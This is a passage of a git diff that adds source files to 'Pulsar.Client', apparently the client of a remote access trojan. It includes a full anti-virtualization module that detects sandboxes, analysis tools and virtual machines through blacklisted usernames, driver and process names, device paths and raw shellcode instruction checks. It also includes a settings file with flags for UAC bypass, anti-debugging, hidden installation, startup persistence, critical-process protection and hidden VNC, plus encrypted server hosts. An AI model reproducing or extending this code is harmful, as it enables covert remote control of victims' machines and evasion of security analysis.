LogDebug("=== SYSTEM INFORMATION ==="); + LogDebug($"OS Version: {Environment.OSVersion}"); + LogDebug($"CLR Version: {Environment.Version}"); + LogDebug($"Process Name: {Process.GetCurrentProcess().ProcessName}"); + LogDebug($"Process ID: {Process.GetCurrentProcess().Id}"); + LogDebug($"Is 64-bit Process: {Environment.Is64BitProcess}"); + LogDebug($"Is 64-bit OS: {Environment.Is64BitOperatingSystem}"); + LogDebug($"Machine Name: {Environment.MachineName}"); + LogDebug($"User Name: {Environment.UserName}"); + LogDebug($"Working Set: {Environment.WorkingSet} bytes"); + LogDebug("=== END SYSTEM INFORMATION ==="); + } + catch (Exception ex) + { + LogDebug($"Failed to log system information: {ex.Message}"); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Anti/VM/AntiVM.cs b/Pulsar.Client/Anti/VM/AntiVM.cs new file mode 100644 index 0000000..aac72ff --- /dev/null +++ b/Pulsar.Client/Anti/VM/AntiVM.cs @@ -0,0 +1,562 @@ +using System; +using System.IO; +using System.Threading; +using System.Management; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.Win32; +using Pulsar.Client.Anti.Helper; +using static Pulsar.Client.Anti.Helper.Delegates; + +namespace Pulsar.Client.Anti.VM +{ + public class AntiVirtualization + { + + #region WinApi + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandleA(string Library); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck); + + [DllImport("ucrtbase.dll", SetLastError = true)] + private static extern IntPtr fopen(string filename, string mode); + + [DllImport("ucrtbase.dll", SetLastError = true)] + private static extern int fclose(IntPtr filestream); + + #endregion + + /// + /// Checks if Sandboxie is present on the system. + /// + /// True if Sandboxie is detected, otherwise false. + public static bool IsSandboxiePresent() + { + if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Comodo Sandbox is present on the system. + /// + /// True if Comodo Sandbox is detected, otherwise false. + public static bool IsComodoSandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Qihoo 360 Sandbox is present on the system. + /// + /// True if Qihoo 360 Sandbox is detected, otherwise false. + public static bool IsQihoo360SandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if Cuckoo Sandbox is present on the system. + /// + /// True if Cuckoo Sandbox is detected, otherwise false. + public static bool IsCuckooSandboxPresent() + { + if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0) + return true; + return false; + } + + /// + /// Checks if the environment is running in VMware or VirtualBox. + /// + /// True if VMware or VirtualBox is detected, otherwise false. + public static bool CheckForVMwareAndVirtualBox() + { + try + { + // Check registry for VM indicators (more reliable than WMI) + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS")) + { + if (key != null) + { + var biosVersion = key.GetValue("BIOSVersion")?.ToString(); + var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString(); + var systemProductName = key.GetValue("SystemProductName")?.ToString(); + + if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX"))) + return true; + if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek"))) + return true; + if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox"))) + return true; + } + } + + // Check for VMware tools registry + using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools")) + { + if (vmwareKey != null) + return true; + } + + // Check for VirtualBox registry + using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions")) + { + if (vboxKey != null) + return true; + } + } + catch + { + // Registry access failed, assume not VM + } + + // Fallback to WMI if registry checks fail + try + { + using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) + { + using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get()) + { + foreach (ManagementBaseObject Item in ObjectItems) + { + string ManufacturerString = Item["Manufacturer"].ToString().ToLower(); + string ModelName = Item["Model"].ToString(); + if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware"))) + { + return true; + } + } + } + } + } + catch + { + // WMI not available, assume not VM + } + return false; + } + + /// + /// Checks if the environment is running in KVM. + /// + /// True if KVM is detected, otherwise false. + public static bool CheckForKVM() + { + string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" }; + string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); + foreach (string driver in Directory.GetFiles(driversPath, "*")) + { + foreach (string badDriver in BadDriversList) + { + if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0) + { + return true; + } + } + } + return false; + } + + + /// + /// Checks if the current user name matches any blacklisted names. + /// + /// True if a blacklisted name is detected, otherwise false. + public static bool CheckForBlacklistedNames() + { + string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" }; + string Username = Environment.UserName.ToLower(); + foreach (string BadUsernames in BadNames) + { + if (Username == BadUsernames.ToLower()) + { + return true; + } + } + return false; + } + + /// + /// Detects bad VM-related files and directories on the system. + /// + /// True if bad VM-related files or directories are detected, otherwise false. + public static bool BadVMFilesDetection() + { + try + { + string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"}; + string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" }; + string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); + + foreach (string file in Directory.GetFiles(driversPath)) + { + if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase))) + return true; + } + + return badDirs.Any(dir => Directory.Exists(dir)); + } + catch + { + return false; + } + } + + + /// + /// Checks for the presence of bad VM-related process names. + /// + /// True if bad VM-related process names are detected, otherwise false. + public static bool BadVMProcessNames() + { + try + { + string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" }; + foreach (Process Processes in Process.GetProcesses()) + { + foreach (string BadProcessName in BadProcessNames) + { + if (Processes.ProcessName == BadProcessName) + { + return true; + } + } + } + } + catch { } + return false; + } + + /// + /// Checks for VM-related device names. + /// + /// True if VM-related device names are detected, otherwise false. + public static bool CheckDevices() + { + string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" }; + foreach (string Device in Devices) + { + try + { + IntPtr File = fopen(Device, "r"); + if (File != IntPtr.Zero) + { + fclose(File); + return true; + } + } + catch + { + continue; + } + } + return false; + } + + /// + /// Checks if the environment is running in Parallels. + /// + /// True if Parallels is detected, otherwise false. + public static bool CheckForParallels() + { + string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" }; + foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) + { + foreach (string BadDrivers in BadDriversList) + { + if (Utils.Contains(Drivers, BadDrivers)) + { + return true; + } + } + } + + return false; + } + + /// + /// Checks for specific disk drive models that indicate a virtual environment. + /// + /// True if specific disk drive models are detected, otherwise false. + public static bool TriageCheck() + { + try + { + // Check registry for disk information (more reliable than WMI) + using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi")) + { + if (key != null) + { + foreach (var subKeyName in key.GetSubKeyNames()) + { + using (var subKey = key.OpenSubKey(subKeyName)) + { + if (subKey != null) + { + foreach (var portKeyName in subKey.GetSubKeyNames()) + { + using (var portKey = subKey.OpenSubKey(portKeyName)) + { + if (portKey != null) + { + var identifier = portKey.GetValue("Identifier")?.ToString(); + if (!string.IsNullOrEmpty(identifier) && + (identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK"))) + { + return true; + } + } + } + } + } + } + } + } + } + } + catch + { + // Registry access failed, assume not VM + } + + // Fallback to WMI if registry checks fail + try + { + using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive")) + { + foreach (var item in searcher.Get()) + { + string model = item["Model"].ToString(); + if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK")) + { + return true; + } + } + } + } + catch + { + // WMI not available, assume not VM + } + return false; + } + + /// + /// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run. + /// + /// True if specific Machine GUIDs are detected, otherwise false. + public static bool AnyRunCheck() + { + return false; + } + + /// + /// Checks if the environment is running in QEMU. + /// + /// True if QEMU is detected, otherwise false. + public static bool CheckForQemu() + { + string[] BadDriversList = { "qemu-ga", "qemuwmi" }; + foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) + { + foreach (string BadDrivers in BadDriversList) + { + if (Utils.Contains(Drivers, BadDrivers)) + { + return true; + } + } + } + + return false; + } + + public sealed class Generic + { + /// + /// Checks for VM-related ports on the system. + /// + /// True if no port connectors are found, indicating a possible VM environment, otherwise false. + public static bool PortConnectionAntiVM() + { + try + { + if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0) + return true; + } + catch + { + // WMI not available, assume ports exist + } + return false; + } + + /// + /// Checks if the environment is running in an emulation by measuring the sleep interval. + /// + /// True if emulation is detected, otherwise false. + public static bool EmulationTimingCheck() + { + long Tick = Environment.TickCount; + Thread.Sleep(500); + long Tick2 = Environment.TickCount; + if (((Tick2 - Tick) < 500L)) + { + return true; + } + return false; + } + + /// + /// Checks if the AVX instructions is properly implemented and handled. + /// + /// true if the instructions is not handled correctly, otherwise false. + public static bool AVXInstructions() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 }; + else + Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + Utils.FreeCode(Allocated); + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + + /// + /// Checks if the RDRAND instruction is properly implemented. + /// + /// true if the instruction is implemented correctly, otherwise false. + public static bool RDRANDInstruction() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; + else + Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + + /// + /// Checks if the instructions that control the register flags is properly handling the register. + /// + /// true if everything is going correctly, otherwise false. + public static bool FlagsManipulationInstructions() + { + try + { + bool ResultBool = false; + byte[] Code = new byte[80]; + if (IntPtr.Size == 8) + Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + else + Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr Allocated = Utils.AllocateCode(Code); + if (Allocated != IntPtr.Zero) + { + try + { + GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); + int Result = Execute(); + if (Result == 1) + { + ResultBool = true; + } + } + catch + { + Utils.FreeCode(Allocated); + return false; + } + Utils.FreeCode(Allocated); + return ResultBool; + } + return false; + } + catch + { + return false; + } + } + } + } +} diff --git a/Pulsar.Client/App.config b/Pulsar.Client/App.config new file mode 100644 index 0000000..e5b07a7 --- /dev/null +++ b/Pulsar.Client/App.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/Pulsar.Client/Config/Settings.cs b/Pulsar.Client/Config/Settings.cs new file mode 100644 index 0000000..bab2619 --- /dev/null +++ b/Pulsar.Client/Config/Settings.cs @@ -0,0 +1,134 @@ +using Pulsar.Common.Cryptography; +using Pulsar.Common.Models; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Pulsar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { + // Version string reported to the server regardless of assembly metadata. + private const string VersionOverride = "2.4.5"; + +#if DEBUG + public static string VERSION = "1.0.0"; + public static string HOSTS = "127.0.0.1:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Pulsar Client Startup"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool ANTIVM = false; + public static bool ANTIDEBUG = false; + public static bool PASTEBIN = false; + public static bool UACBYPASS = false; + public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr) + + // needed for hvnc (why?) why not use the desktop pointer directly? + public static IntPtr OriginalDesktopPointer = IntPtr.Zero; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool ANTIVM = false; + public static bool ANTIDEBUG = false; + public static bool PASTEBIN = false; + public static bool UACBYPASS = false; + public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr) + + // needed for hvnc + public static IntPtr OriginalDesktopPointer = IntPtr.Zero; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + public static string ReportedVersion => string.IsNullOrWhiteSpace(VersionOverride) ? VERSION : VersionOverride; + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + using (var rsa = SERVERCERTIFICATE.GetRSAPublicKey()) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)); + return rsa.VerifyHash(hash, Convert.FromBase64String(SERVERSIGNATURE), HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + } + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Pulsar.Client/Extensions/KeyExtensions.cs b/Pulsar.Client/Extensions/KeyExtensions.cs new file mode 100644 index 0000000..812d1bb --- /dev/null +++ b/Pulsar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Pulsar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Pulsar.Client/Extensions/ProcessExtensions.cs b/Pulsar.Client/Extensions/ProcessExtensions.cs new file mode 100644 index 0000000..ad8891a --- /dev/null +++ b/Pulsar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Pulsar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Pulsar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Pulsar.Client/Extensions/RegistryKeyExtensions.cs b/Pulsar.Client/Extensions/RegistryKeyExtensions.cs new file mode 100644 index 0000000..562176a --- /dev/null +++ b/Pulsar.Client/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,400 @@ +using Microsoft.Win32; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Client.Extensions +{ + /// + /// Provides extensions for registry key and value operations. + /// + public static class RegistryKeyExtensions + { + /// + /// Determines if the registry key by the name provided is null or has the value of null. + /// + /// The name associated with the registry key. + /// The actual registry key. + /// True if the provided name is null or empty, or the key is null; False if otherwise. + private static bool IsNameOrValueNull(this string keyName, RegistryKey key) + { + return (string.IsNullOrEmpty(keyName) || (key == null)); + } + + /// + /// Attempts to get the string value of the key using the specified key name. This method assumes + /// correct input. + /// + /// The key of which we obtain the value of. + /// The name of the key. + /// The default value if value can not be determined. + /// Returns the value of the key using the specified key name. If unable to do so, + /// defaultValue will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") + { + try + { + return key.GetValue(keyName, defaultValue).ToString(); + } + catch + { + return defaultValue; + } + } + + /// + /// Attempts to obtain a readonly (non-writable) sub key from the key provided using the + /// specified name. Exceptions thrown will be caught and will only return a null key. + /// This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, false); + } + catch + { + return null; + } + } + + /// + /// Attempts to obtain a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, true); + } + catch + { + return null; + } + } + + /// + /// Attempts to create a sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is to be created from. + /// The name of the sub-key. + /// Returns the sub-key that was created for the key and name provided; Returns null if + /// unable to create a sub-key. + public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.CreateSubKey(name); + } + catch + { + return null; + } + } + + /// + /// Attempts to delete a sub-key and its children from the key provided using the specified + /// name. + /// + /// The key of which the sub-key is to be deleted from. + /// The name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) + { + try + { + key.DeleteSubKeyTree(name, true); + return true; + } + catch + { + return false; + } + } + + /* + * Derived and Adapted from drdandle's article, + * Copy and Rename Registry Keys at Code project. + * Copy and Rename Registry Keys (Post Date: November 11, 2006) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * First Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys + */ + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The key of which the subkey is to be renamed from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyKey(oldName, newName); + //Dispose of the old key + key.DeleteSubKeyTree(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteSubKeyTreeSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old subkey to a new subkey for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the subkey is to be deleted from. + /// The old name of the sub-key. + /// The new name of the sub-key. + public static void CopyKey(this RegistryKey key, string oldName, string newName) + { + //Create a new key + using (RegistryKey newKey = key.CreateSubKey(newName)) + { + //Open old key + using (RegistryKey oldKey = key.OpenSubKey(oldName, true)) + { + //Copy from old to new + RecursiveCopyKey(oldKey, newKey); + } + } + } + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The source key to copy from. + /// The destination key to copy to. + private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) + { + + //Copy all of the registry values + foreach (string valueName in sourceKey.GetValueNames()) + { + object valueObj = sourceKey.GetValue(valueName); + RegistryValueKind valueKind = sourceKey.GetValueKind(valueName); + destKey.SetValue(valueName, valueObj, valueKind); + } + + //Copy all of the subkeys + foreach (string subKeyName in sourceKey.GetSubKeyNames()) + { + using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName)) + { + using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName)) + { + //Recursive call to copy the sub key data + RecursiveCopyKey(sourceSubkey, destSubKey); + } + } + } + } + + /// + /// Attempts to set a registry value for the key provided using the specified + /// name, data and kind. If the registry value does not exist it will be created + /// + /// The key of which the value is to be set for. + /// The name of the value. + /// The data of the value + /// The value kind of the value + /// Returns true if the action succeeded, otherwise false. + public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) + { + try + { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[])data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[])data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[])data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[])data); + break; + } + } + key.SetValue(name, data, kind); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to delete a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be delete from. + /// The name of the value. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteValueSafe(this RegistryKey key, string name) + { + try + { + key.DeleteValue(name); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to rename a registry value to the key provided using the specified old + 